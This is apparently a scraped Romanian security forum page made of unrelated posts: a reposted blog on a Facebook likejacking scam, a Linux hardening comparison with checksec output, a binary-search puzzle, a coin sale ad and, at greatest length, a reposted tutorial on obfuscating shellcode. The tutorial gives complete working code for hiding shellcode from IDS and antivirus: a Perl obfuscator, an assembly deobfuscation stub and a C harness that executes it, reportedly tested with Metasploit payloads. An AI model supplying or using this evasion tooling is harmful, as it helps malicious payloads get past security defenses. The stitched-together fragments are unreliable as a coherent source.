Leaderboard

Te-ai uitat pe aici?

@TK: ai pm

gnome-fallback si ai old style gnome look Note: Iti ramane tot gnome3 dar va fi un look ca in gnome2 cu panel si menu

When logging into Facebook this morning I saw that many of my friends posted a link to a video on their wall, and also everyone liked the link. The video was of a girl with a nice butt and it had the title "Laura Frisian: the most beautiful ass in the world!", it was pretty obvious that it was a scam because it looked like all the other Facebook scams we have seen, but because soo many of my friends were posting this video I still decided to take a look at it. I quickly ended up in a JavaScript hell, with obfuscated code and multiple domains. It seems that the server used in this scam is hosting about 300 pages similar to the one im writing about. All of the pages look the same, but have many different videos, a few examples are: If you like Nutella, never look this video!!! Drill a tooth abscess! Disgusting :s Compilation of Embarrassing and Busted! Photos, Awesome Transgender 10-Year-Old, Boy Happier As A Girl ! A Really Giant Baby ! Amazing it looks so real Air Race Plane Crashed in the crowd during a show ! The worst thing that can happen to a girl! A fisherman catches a couple when they make ... There are also many different JavaScripts being loaded, one of the ones we have identified is the following one, and exactly what this one does is not clear yet: But the synopsis of the scam is pretty simple. If you click on the link to the video you will end up on a splash page, on this page you will be exposed to a clickjacking/likejacking attempt. This means that if you try to watch the video, or any other video on the page it will automatically post things on your Facebook wall. This require that you are logged in to Facebook or have been logged in and your cookie is still active. There are two different splash pages, one if you are loggedin to Facebook, and one of you are not. Please see screenshots below: If you are not logged in to Facebook If you are logged in to Facebook The full landing page looks like this: The JavaScript code is obfuscated and packed, this makes the entire debugging more difficult, but during the research I have identified several domains connected to this scam. It also seems that they use redirectors to prevent URL/Domain blacklisting, and there are also several different scams on each server. It seems that the purpose of this scam is to expose you to ads, and also automatically get you to like certain ads. This will generate both traffic and money for the guys behind this. Please, if you see this on Facebook, please report it as spam, this will allow the Facebook Security Team to deal with this much faster. http://www.securelist.com/en/blog/208193316/New_ClickJacking_LikeJacking_scam_on_Facebook

1. Introduction This article aims to provide you with the different steps needed to develop shellcode obfuscation techniques, and their respective deobfuscator assembly stubs. This should help you to learn a bit more about IDS and Anti-Virus evasion techniques, and more than that, to give you an useful template to create more advanced obfuscations stuffs. Don’t be confused, we are not talking about shellcode “encoders” since we do neither modify the opcodes nor remove any bad characters. We will just hide the shellcode and – hopefully – break common shellcode patterns. It means that your initial shellcode must already be NULL free or some. While obfuscating (or encoding) a shellcode with your own method will not help you to bypass all anti-virus software (thanks to sandbox-based AV), it is a useful step to achieve it (but this discussion is out of scope for the moment). There is three main parts in this development: Obfuscate the Shellcode with a Perl script (or any other language). The result will print a shellcode in C syntax. Write the assembly stub, able to reverse the shellcode in its initial state, and start it. Tune the stub to make it reusable and put everything together. 1.2. Requirements: A computer with an Operating System. Basic C/C++ knowledge. Scripting knowledge such as Perl, Ruby, Python … Basic Shellcode understandings. A bit of Assembly knowledge or enough of motivation to break the ice. 2. Shellcode scrambling method (one over 0xffffffff) The following picture illustrates the way we’ve obfuscated our Shellcode. We keep it simple for demonstration purpose. Junk bytes have been introduced between each byte of the initial shellcode, and the junk length is random too. In order to be able to retrieve the location of the initial bytes at run-time (and so rebuild the initial shellcode), the junk length is stored right after the shellcode bytes as you can see in the previous picture. The pros: No way to recognize the initial shellcode since the bytes are totally flooded over a bunch of bytes, at random distances. Easy to implement. The cons: The size of the new shellcode. As usual, the final Shellcode will looks like this: { STUB } {OBFUSCATED SHELLCODE} 3. Practice 3.1. The obfuscation part As previously written, we have developed a Perl script to generate the obfuscated version of the Shellcode. Feel free to use any other language if you are not familiar with Perl. This is just a first version of the script which will print out the obfuscated version of the Shellcode, based on the rule explained above (see the previous picture). In a later step, we will adapt this script to insert (and tune) the assembly stub to the final shellcode, and permit its deobfuscation.. #!/usr/bin/perl -w # ---------- # obf1.pl # ---------- use strict; # simple shellcode (print 'hello') my $buf = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" . "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" . "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; #========================== CODE ============================= my $buf_length = do{length $buf}; # convert buf string into an array my @buf_array = unpack 'a' x length $buf, $buf; # random pool my @rnd_steps=(1,2,3); my @chars=('a'..'z','A'..'Z','0'..'9','_'); # final shellcode my $final = ""; # init pseudo rnd generator my $rnd=0; srand(time); # start obfuscation for(my $i=0; $i< $buf_length ; $i++){ # copy good shellcode byte into final buffer $final .= chr(ord($buf_array[$i])); # get random from @rnd_step $rnd = $rnd_steps[rand @rnd_steps]; # append random number after the SC byte $final .= pack('c', $rnd); # add 'random - 1' junk bytes for(my $p=1; $p < $rnd; $p++){ $final .= $chars[rand @chars]; # RND } } # print final shellcode in C language print "// NEW SHELLCODE\n"; print "unsigned char buf[] = "; my $hex = unpack('H*', $final); for (my $i = 0; $i < length $hex; $i+=2) { if($i % 15 eq 0){ if($i eq 0) {print "\n\"";} else {print "\"\n\"";} } print "\\x" . substr $hex, $i, 2; } print "\";\n\n"; # print shellcode length (optional) print "unsigned int buf_len = ". do{length $final} . ";\n"; Lets try: [user@linux]$ ./obf1.pl // NEW SHELLCODE unsigned char buf[] = "\xeb\x02\x33\x19\x01\x31\x03\x4f\x6e\xc0\x02\x48\x31\x01\xdb" "\x02\x34\x31\x03\x53\x47\xd2\x03\x70\x56\x31\x01\xc9\x02\x48" "\xb0\x02\x5f\x04\x01\xb3\x02\x68\x01\x02\x63\x59\x03\x6a\x4d" "\xb2\x01\x05\x03\x76\x70\xcd\x02\x56\x80\x01\x31\x03\x33\x7a" "\xc0\x02\x53\xb0\x03\x62\x52\x01\x01\x31\x02\x50\xdb\x02\x6d" "\xcd\x01\x80\x01\xe8\x01\xe2\x02\x75\xff\x03\x67\x47\xff\x01" "\xff\x01\x68\x02\x76\x65\x03\x5a\x45\x6c\x02\x53\x6c\x02\x4f" "\x6f\x01"; unsigned int buf_len = 107; As you can see: the first byte is a valid shellcode byte (\xeb) the second byte is the junk length before the next valid byte, and is chosen randomly (\x02) the third byte is a random junk byte the fourth byte is the second valid byte (\x19) … 3.2. The deobfuscation stub This section is probably a bit more interesting. Here we will manage the deobfuscation of the shellcode at run-time by writing a small assembly code. ;enc2.asm [SECTION .text] global _start _start: jmp short ender ; push SC addre on the stack (MY_JMP_ENDER) starter: xor eax, eax ; clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx pop edx ; get addr of shellcode (jmp short ender) push edx mov esi, edx ; set SC addr mov edi, edx ; set SC addr inc esi ; point to the first dst position inc edi ; point to the first rnd mov cl, 200 ; tmp loop counter (MY_CNT) myloop: xor eax, eax xor ebx, ebx mov al, byte [edi] ; read distance to next byte add eax, edi ; eax = addr of the next valid byte mov bl, byte [eax] ; bl = next valid byte of the shellcode mov byte [esi], bl ; move it to the final position mov edi, eax ; inc edi ; edi = next distance inc esi ; esi = next position for a valid byte loop myloop ; loop done: pop ecx ; call shellcode call ecx ; xor eax, eax ; exit the shellcode (if it returns) mov al, 1 ; xor ebx,ebx ; int 0x80 ; ender: call starter ; put the address of the string on the stack ;db THE_OBFUSCATED_SHELLCODE Some explanations: In starter section, we are resetting the registers, put the address of the shellcode into EDX, initiate ESI and EDI which will later be used to navigate and modify the shellcode, and set ECX to (for the moment) a random value (ECX is the loop counter). ECX will have to hold the real length of the initial shellcode, and will be updated later by the Perl script. In myloop section, we simply parse the obfuscated shellcode, and move back the valid bytes to their initial positions. In done section, we jump to the address of the shellcode. ender section is the usual way to push the address of the shellcode onto the stack. During the call starter instruction, EIP register will be pushed on the top of the stack and will contains the address of the next instruction (which will be the first instruction of the shellcode). Let’s compile our stub. Here we use nasm under Linux, but the stub will of course works under Windows too. After that, we dump the opcodes and check that everything is as expected. [user@linux]$ nasm -f elf enc2.asm [user@linux]$ ld -o enc2 enc2.o [user@linux]$ objdump -d enc2 enc2: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> It is time to build the opcodes list (same as for a usual shellcode). I wrote this dirty AWK script, but choose the way you prefer. #!/bin/sh # convert-sc.sh objdump -d $1 | awk -F '\t' '{printf $2}' | \ awk 'BEGIN { cnt=0; print; printf "unsigned char buf[]=\n\""} { x=0; while(x<NF){ if(x % 15 == 0 && x !=0){ printf "\"\n\""} printf "\\x"$(x+1); x++; cnt++ } print "\";\n\nLength: "cnt }' hen, we run it like this: [user@linux]$ ./convert-sc.sh enc2 unsigned char buf[]= "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\xc8\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff"; Length: 54 Please welcome our new stub. 3.3. Tuning the assembly STUB Great, we have our deobfucation code (section 3.2), ready to be prefixed to our obfuscated shellcode (section 3.1). But, wait … We still need to update the loop counter (ECX) to the length of the initial shellcode. 3.3.1 Updating the counter loop (ECX) We need to update the line 17 with the respective length of the initial shellcode. Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> Since we’d like to avoid NULL byte into our stub, we can’t use instructions such as: mov ECX, 178 since it will produce null bytes. ex: 8048072: b9 b2 00 00 00 mov $0xb2,%ecx It makes sense that we need to use a 8 bits move like: mov CL, 178 which is produce the opcodes \xb1 and \xb2 as seen below: 8048072: b1 b2 mov $0xb2,%cl However, if the shellcode length is greater than 255, we must move it into a 16 bits register like: mov CX, 278 which produce the following opcodes: 8048072: 66 b9 16 01 mov $0x116,%cx As you see, we need four opcodes to update CX register, instead of two to update CL. Is it a problem ? Kind of. The length of the stub is therefore modified and the relative addresses used within JMP and CALL instructions have to be updated too. 3.3.2. Updating JMP and CALL addresses As explained in the previous section, lines 4 and 40 contain relative addresses which will change based on the length of the stub. Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> If you do the test at home, you will see that: if the loop counter need a 8 bits register, then: line 4 = \xeb\x2f line 40 (two first opcodes) = \xe8\xcc if the loop counter need a 16 bits register, then: line 4 = \xeb\x31 line 40 (two first opcodes) = \xe8\xca 3.3.3. My god, a NULL byte A last problem that we could have, is to obfuscate a shellcode where the length is a multiple of 256. Indeed, in order to store 256 (or 512, 768, 1024, …), we need a 16bits register. See what happen: mov CX, 257 8048072: 66 b9 01 01 mov $0x101,%cx 4. Putting everything together If you are still awake, here is the updated version of the Perl script, which is managing the loop, jmp and call updates. Note that the dynamic values of the stub (MOV ECX, JMP and CALL) have been replaced by standards strings, and are updated at runtime by the Perl script. The changes have been highlighted. #!/usr/bin/perl -w # --------- # obf2.pl # --------- use strict; # simple shellcode (print 'hello') my $buf = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" . "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" . "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; #========================== CODE ============================= [COLOR="#FFA500"]my $mydecoder = "MY_JMP_ENDER" . "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89\xd7\x46\x47" . "MY_CNT" . "\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18\x88\x1e\x89\xc7\x47\x46\xe2\xee" . "\x59\xff\xd1\x31\xc0\xb0\x01\x31\xdb\xcd\x80" . "MY_JMP_STARTER" . "\xff\xff\xff"; my $buf_length = do{length $buf}; print "// initial Shellcode length: " . $buf_length . "\n\n"; # IF buf_length is a multiple of 256, we will get NULL bytes whitin MY_CNT. # so, just add a NOP instruction at the end if($buf_length % 256 eq 0 ){ print "// length is a multiple of '256'. Add a NOP."; $buf .= "\x90"; } # Update decoder values my $mov_cl = "\xb1"; # loop counters <= 8bits my $mov_cx = "\x66\xb9"; # loop counter > 8bits my $jmp_ender_8bits = "\xeb\x2f"; # jmp ender (<= 8bits) my $jmp_ender_16bits = "\xeb\x31"; # jmp ender (> 8bits) my $jmp_starter_8bits = "\xe8\xcc"; # jmp starter (<= 8bits) my $jmp_starter_16bits = "\xe8\xca"; # jmp starter (> 8bits) if($buf_length < 256 ){ # set ECX counter $mov_cl .= pack('W', int($buf_length)); $mydecoder =~ s/MY_CNT/$mov_cl/; # replace JMP $mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_8bits/; $mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_8bits/; }else{ # set ECX counter $mov_cx .= pack('S', int($buf_length)); $mydecoder =~ s/MY_CNT/$mov_cx/; # replace JMP $mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_16bits/; $mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_16bits/; } [/COLOR] # convert buf string into an array my @buf_array = unpack 'a' x length $buf, $buf; # random pool my @rnd_steps=(1,2,3); my @chars=('a'..'z','A'..'Z','0'..'9','_'); # final shellcode my $final = ""; # init pseudo rnd generator my $rnd=0; srand(time); # start obfuscation for(my $i=0; $i< $buf_length ; $i++){ # copy good shellcode byte into final buffer $final .= chr(ord($buf_array[$i])); # get random from @rnd_step $rnd = $rnd_steps[rand @rnd_steps]; # append random number after the SC byte $final .= pack('c', $rnd); # add 'random - 1' junk bytes for(my $p=1; $p < $rnd; $p++){ $final .= $chars[rand @chars]; # RND } } [COLOR="#FFA500"]# prefix shellcode with the decoder $final = $mydecoder . $final ;[/COLOR] # print final shellcode in C language print "// STUB + SHELLCODE\n"; print "unsigned char buf[] = "; my $hex = unpack('H*', $final); for (my $i = 0; $i < length $hex; $i+=2) { if($i % 15 eq 0){ if($i eq 0) {print "\n\"";} else {print "\"\n\"";} } print "\\x" . substr $hex, $i, 2; } print "\";\n\n"; # print shellcode length (optional) print "unsigned int buf_len = ". do{length $final} . ";\n"; The final shellcode is now: // STUB + SHELLCODE unsigned char buf[] = "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03" "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72" "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77" "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34" "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31" "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50" "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c" "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02" "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64"; unsigned int buf_len = 174; 5. Testing the new shellcode We’ve made some tests with various Metasploit payloads (Meterpreter, DialogBox, Cmd, ..) to ensure the reliability of the produced shellcode. But to preserve your bandwidth, we will limit the demonstration to this simple “Hello” shellcode, used throughout this article, and generated in the previous section. /*************/ /* sc-test.c */ /*************/ // STUB+ SHELLCODE unsigned char buf[] = "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03" "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72" "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77" "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34" "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31" "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50" "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c" "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02" "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64"; int main(int argc, char **argv){ int (*func)(); func = (int ()) buf; (int)(*func)(); } Compile sc-test.c and run it: [user@linux]$ gcc -o sc-test sc-test.c [user@linux]$ ./sc-test hello [user@linux]$ Great! Let’s print Hello over the world ! ;-) Hope you enjoy. http://funoverip.net/2011/09/simple-shellcode-obfuscation/

Din punct de vedere al securitatii kernel-ului, flag-urile de compilare, flag-urile CPU-ului (cu care este compilat kernel-ul), mecanisme de protectie asupra stack-ului/librariilor nu stiu despre Slackware (tocmai mi-ai dat de munca), dar Ubuntu are: Binare compilate: RELRO: [B][COLOR=#daa520]Partial[/COLOR][/B] NX: [COLOR=#00ff00][B]Enabled[/B][/COLOR] Canary: [COLOR=#00ff00][B]Da[/B][/COLOR] (nu si la binarele scrise de noi); Stack: Stack Guard: [COLOR=#00ff00][B]Da[/B][/COLOR] Read-only kernel data: [B][COLOR=#00ff00]Da[/COLOR][/B] Restrict: /dev/mem/ and /dev/kmem access: [COLOR=#00ff00][B]Da[/B][/COLOR] Kernel additional protection: GRSEC Patch (niciodata compilat din default fiind compatibil doar cu anumite kernel-uri): [COLOR=#ff0000][B]Not installed[/B][/COLOR] Kernel Heap Hardening (acesta a devenit din Open Source, Comercial deci nu prea cred ca o sa-l vedem compilat din default): [COLOR=#ff0000][B]Not installed[/B][/COLOR] Acestea sunt niste rapoarte folosind "checksec", desi compatibil (in cel mai fericit caz) cu Debian nu m-a tradat cand am verificat diferite flag-uri (pornindu-le si oprindu-le) in cazul unor binare compilate, insa nu sunt sigur 100% de raporturile lui. In comparatie cu Fedora ce a fost un proiect al RH: Fedora nu are activat din default la gcc urmatoarele protectii: - RELRO; - PIE (la fel si in cazul Ubuntu); Insa ce are? - [B]SELinux[/B]; - [B]Canary[/B] (nu si la compilarea binarelor scrise de noi); $> make a cc a.c -o a $> ./checksec.sh --file a RELRO STACK CANARY NX PIE RPATH RUNPATH FILE [COLOR=#ff0000][B]No RELRO No canary found[/B][/COLOR] [COLOR=#00ff00][B]NX enabled[/B][/COLOR] [COLOR=#ff0000][B]No PIE No RPATH No RUNPATH[/B][/COLOR] a $> ./checksec.sh --file /usr/bin/catman [B](cele de mai jos sunt valabile si la Ubuntu cu exceptie ca Ubuntu are si RELRO partial)[/B] RELRO STACK CANARY NX PIE RPATH RUNPATH FILE [COLOR=#ff0000][B]No RELRO[/B][/COLOR] [COLOR=#00ff00][B] Canary found NX enabled[/B][/COLOR] [B][COLOR=#ff0000]No PIE[/COLOR][/B] [COLOR=#ff0000][B]No RPATH No RUNPATH[/B][/COLOR] /usr/bin/catman $> ./checksec.sh --kernel * Kernel protection information: Description - List the status of kernel protection mechanisms. Rather than inspect kernel mechanisms that may aid in the prevention of exploitation of userspace processes, this option lists the status of kernel configuration options that harden the kernel itself against attack. Kernel config: /boot/config-2.6.35.14-106.fc14.i686 Warning: The config on disk may not represent running kernel config! GCC stack protector support: [COLOR=#00ff00][B]Enabled[/B][/COLOR] Strict user copy checks: [COLOR=#ff0000][B]Disabled[/B][/COLOR] Enforce read-only kernel data: [COLOR=#00ff00][B]Enabled[/B][/COLOR] Restrict /dev/mem access: [COLOR=#00ff00][B]Enabled[/B][/COLOR] Restrict /dev/kmem access: [COLOR=#00ff00][B]Enabled[/B][/COLOR] * grsecurity / PaX: [COLOR=#ff0000][B]No GRKERNSEC[/B][/COLOR] The grsecurity / PaX patchset is available here: http://grsecurity.net/ * Kernel Heap Hardening: [COLOR=#ff0000][B]No KERNHEAP[/B][/COLOR] The KERNHEAP hardening patchset is available here: https://www.subreption.com/kernheap/ Insa Ubuntu: http://img94.imageshack.us/img94/2478/rama2final.png -- relro, aslr si canary dezactivate De ASLR nu mai are rost sa mentionez din moment ce a fost implementat si in Windows incepand cu release-ul lui 7 (Ianuarie 2007) acum ceva timp, protectie ce in Linux a fost inclusa odata cu kernel-ul 2.6.12 lansat in Iunie 2005 (vezi Wikipedia: Address space layout randomization - Wikipedia, the free encyclopedia). Majoritatea distributiilor servesc kernel-ul Linux-ului cu ASLR ce include si protectii pentru HEAP, librarii s.a.m.d.: $> cat /proc/sys/kernel/randomize_va_space [B]2[/B] [B][U]-->[/U][/B] http://www.mjmwired.net/kernel/Documentation/sysctl/kernel.txt#450 Aceste date pot fi gresite (datorita faptului ca tot ceea ce am scris este bazat pe ce a raportat checksec), nu sunt 1000% corecte, poate sunt versiuni cu PIE, poate nu; nu am habar, nu le-am testat pe toate si nici nu am cunostintele extraordinare sa fiu 100% sigur de spusele de mai sus. adaugare, ubuntu este securizat acceptabil, nu am vazut multi care sa treaca de toate mecanismele de securitate implementate intr-un/intr-o kernel/distributie modern/moderna, desi pe phrack sunt n articole despre stack guard, canary majoritatea servesc doar unei situatii specifice, desi mi s-a spus de altii ca au reusit sa treaca si de canary si de relro, aslr s.a.m.d. si pe ubuntu si pe fedora, incluzand selinux, nu am primit vreodata dovezi, nu exista cai universale de a te folosi de gaurile de securitate; gaurile de securitate si exploatarea lor sunt in stransa legatura de mediul in care exista, kernel,distributie, module, librarii si ce alte mecanisme asupra acestora exista. insa prefer fedora in fata ubuntu-ului, iar fedora si slackware au in comun redhat package manager, tind spre o structura similara redhat-ului, pe cand ubuntu este 'tras' din debian, unde au in comun aptitude ce include cow power, precum si alti membri au evidentiat deja asta in acest thread.

E ca si cum ai compara dacia cu mercedes AMG. In primul rand, ubuntu e o saracie user friendly copiata dupa debian iar Slackware este din primele distributii de linux facute. Ubuntu este facut mai mult pentru desktop (stiu, o sa spuneti ca exista si versiune pentru server). "The original aim of the Ubuntu team was to create an easy-to-use Linux desktop" Slackware este facut pentru servere in special si este mult mai clean. La slackware sunt cateva advisories ... timp in care la vremea aia apareau cate 10 pe saptamana pentru red hat (a se citi red hoit). ps: primul linux avut a fost red hat picasso pe o trompeta de pc ... de croncanea precum ciorile pana pornea

Divide et Impera ? (vrajitorii!?!) Nu stim noi chestii complicate, asa ca incercam o varianta mai simpla(fun). Noi o luam incetisor pe foaie, si ajungem la o schema de genul : Luam unul din exemple, n=10; Prima data, aruncam de la etajul 5, daca s-a spart, atunci sunt 2 posibilitati : etajul cu pricina e chiar 5, sau etajul cu pricina e mai jos. Continuam, presupunem ca s-a spart, aruncam de la etajul 2 si presupunem din nou ca se sparge, iarasi avem 2 posibilitati : etajul cu pricina e 2, sau etajul cu pricina este 1, aruncam de la 1 si aflam rezultatul. Daca nu se sparge aruncam de la 3, daca s-a spart la 3, atunci 3 e etajul cu pricina, daca nu, aruncam de la 4 sa vedem daca este 4 sau 5. Prin analogie se trateaza cazul in care de la etajul 5 nu s-a spart. Observam ca numarul maxim de pasi pe care ii urmam este 4. Tinand cont ca stiam de dinainte ca pentru 10 etaje, raspunsul este 4, ne dam seama ca nu am gresit. Dupa reprezentarea mai multor asemenea scheme (nu neaparat) ne cam dam seama de o posibila regula. Vedem ca tot impartim la 2 : 1. 10 : 2 = 5 2. 5 : 2 = 2,5 3. 2,5 : 2 = 1,25 Dar noi stim ca avem 4 pasi, nu 3. Ce facem ? Inventam noi o modalitate de a scoate inca un pas. Observam ca: 1,25 : 2 = 0,625 Rotunjim 0,625 la 1 si adunam la pasii nostri. Ne ies 4 pasi. Super nu ? Tragem alta concluzie : Hai sa impartim numarul nostru la 2, pana la primul rezultat subunitar, si numaram pasii. 1. 10 : 2 = 5 2. 5 : 2 = 2,5 3. 2,5 : 2 = 1,25 4. 1,25 : 2 = 0,625 Ne gandim, daca merge pentru un caz, asta nu inseamna ca merge pentru toate. Din fericire, mai avem un rezultat cunoscut, putin mai indepartat totusi, si anume pentru n=100, numarul de pasi = 7 ; Ne apucam sa testam algoritmul nostru : 1. 100 : 2 = 50 2. 50 : 2 = 25 3. 25 : 2 = 12,5 4. 12,5 : 2 = 6,25 5. 6,25 : 2 = 3,125 6. 3,125 : 2 = 1,5625 7. 1,5625 : 2 = 0,78125 Voila, ne ies 7 pasi, exact ca si rezultatul pe care il stiam de dinainte. Stam putin si ne gandim, la cat am impartit la 2 , ne vine asa o idee de un posibil logaritm in baza 2, poate ne-o usura munca. Cine stie ? Si ne apucam iar de calculat. log2(10) = 3,32193 ; Aha, da cam urat logaritmul, dar stai asa. Noi cati pasi aveam la n=10 ? Parca 4. Observam o posibila scurtatura : Daca rotunjim 3,32193 ne iese fix 4, adica rezultatul corect. Bun, pai atunci ia sa umblam noi la algoritmul nostru sa il imbunatatim. Decat sa stam sa tot impartim la 2, de ce nu am face un logaritm in baza 2 si apoi am rotunji rezultatul ? Scoatem varianta imbunatatia a algoritmului : ceil(log2(n)). Ca sa vezi, ne iese acelasi lucru ca si baietilor mari care stiu Divide et Impera. Sau varianta a 2a, admitem ca stim Divide et Impera si spunem direct cat face.

Vand monezi de 5, 20, 2 lei din perioada 1941-1943, am un numar de 3430 de monezi. ........................................................ Mail: monezi@lollzworld.tk ........................................................ Telefon: 0760012649 ........................................................ Astept oferte. ..................................................... Multumesc Anticipat!!

preview: Alcooli arhiva: GirlShare - Download chimie.zip